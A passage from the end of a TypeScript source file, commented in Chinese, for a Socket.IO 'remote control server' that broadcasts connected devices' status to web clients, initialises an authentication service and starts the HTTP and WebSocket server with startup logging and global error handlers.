if (socket && socket.connected) {
// 广播设备在线状态
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
}
}
if (onlineDevices.length > 0) {
this.logger.debug(`🔄 已刷新 ${onlineDevices.length} 个设备状态给 ${webClientCount} 个Web客户端`)
}
} catch (error) {
this.logger.error('刷新设备状态失败:', error)
}
}
/**
* 启动服务器
*/
public async start(port: number = 3001): Promise<void> {
try {
// 🆕 先初始化 AuthService确保超级管理员账号已创建
this.logger.info('正在初始化认证服务...')
await this.authService.initialize()
this.logger.info('认证服务初始化完成')
// 然后启动服务器
this.server.listen(port, () => {
this.logger.info(`远程控制服务器启动成功,端口: ${port}`)
this.logger.info(`WebSocket服务地址: ws://localhost:${port}`)
this.logger.info(`HTTP API地址: http://localhost:${port}`)
this.logger.info(`🔧 关键修复已应用:`)
this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`)
this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`)
this.logger.info(` - 增强设备活跃时间更新机制`)
this.logger.info(` - 减少状态检查器误判 (90秒间隔)`)
// ✅ 关键修复:服务器启动后立即恢复设备状态
this.recoverDeviceStates()
})
} catch (error) {
this.logger.error('服务器启动失败:', error)
// 即使初始化失败,也尝试启动服务器(可能已经有用户数据)
this.server.listen(port, () => {
this.logger.warn('服务器已启动,但认证服务初始化可能未完成')
this.logger.info(`远程控制服务器启动成功,端口: ${port}`)
this.recoverDeviceStates()
})
}
// 处理进程退出
process.on('SIGINT', () => {
this.logger.info('正在关闭服务器...')
this.server.close(() => {
this.logger.info('服务器已关闭')
process.exit(0)
})
})
}
}
// 添加全局错误处理,防止未捕获的异常导致程序崩溃
process.on('uncaughtException', (error: Error) => {
console.error('未捕获的异常:', error)
console.error('错误堆栈:', error.stack)
// 不退出进程,记录错误并继续运行
})
process.on('unhandledRejection', (reason: any, promise: Promise<any>) => {
console.error('未处理的Promise拒绝:', reason)
if (reason instanceof Error) {
console.error('错误堆栈:', reason.stack)
}
// 不退出进程,记录错误并继续运行
})
// 启动服务器
const server = new RemoteControlServer()
const port = process.env.PORT ? parseInt(process.env.PORT) : 3001
server.start(port).catch((error) => {
console.error('服务器启动失败:', error)
process.exit(1)
})